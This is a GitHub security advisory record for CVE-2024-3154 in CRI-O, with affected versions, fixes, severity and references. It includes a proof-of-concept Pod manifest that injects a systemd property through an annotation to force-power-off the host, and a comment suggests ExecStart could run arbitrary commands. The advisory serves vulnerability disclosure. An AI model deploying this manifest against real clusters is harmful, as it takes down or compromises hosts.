CVE-2024-3154: Github.com/cri o/cri o CRI-O Vulnerable To An Arbitrary Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2cgq-h8xw-2v5j",
  "modified" : "2024-05-01T13:06:49Z",
  "published" : "2024-04-30T09:39:38Z",
  "aliases" : [ "CVE-2024-3154" ],
  "summary" : "CRI-O vulnerable to an arbitrary systemd property injection",
  "details" : "### Impact\nOn CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:\n```\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: poc-arbitrary-systemd-property-injection\n  annotations:\n    # I believe that ExecStart with an arbitrary command works here too,\n    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.\n    org.systemd.property.SuccessAction: \"'poweroff-force'\"\nspec:\n  containers:\n    - name: hello\n      image: [quay.io/podman/hello](http://quay.io/podman/hello)\n```\n\nThis means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.\n\nTested with CRI-O v1.24 on minikube.\nI didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367\n\nThanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:\nhttps://github.com/opencontainers/runc/pull/3923#discussion_r1532292536\n\nCRI-O has to filter out annotations that have the prefix \"org.systemd.property.\"\n\nSee also:\n- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson\n- https://github.com/opencontainers/runc/pull/4217\n\n\n### Workarounds\nUnfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations\n\n### References\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.29.0"
      }, {
        "fixed" : "1.29.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.29.3"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.28.0"
      }, {
        "fixed" : "1.28.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.28.5"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cri-o/cri-o"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.27.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cri-o/cri-o/security/advisories/GHSA-2cgq-h8xw-2v5j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-3154"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/opencontainers/runc/pull/4217"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2024-3154"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2272532"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cri-o/cri-o"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-30T09:39:38Z",
    "nvd_published_at" : null
  }
}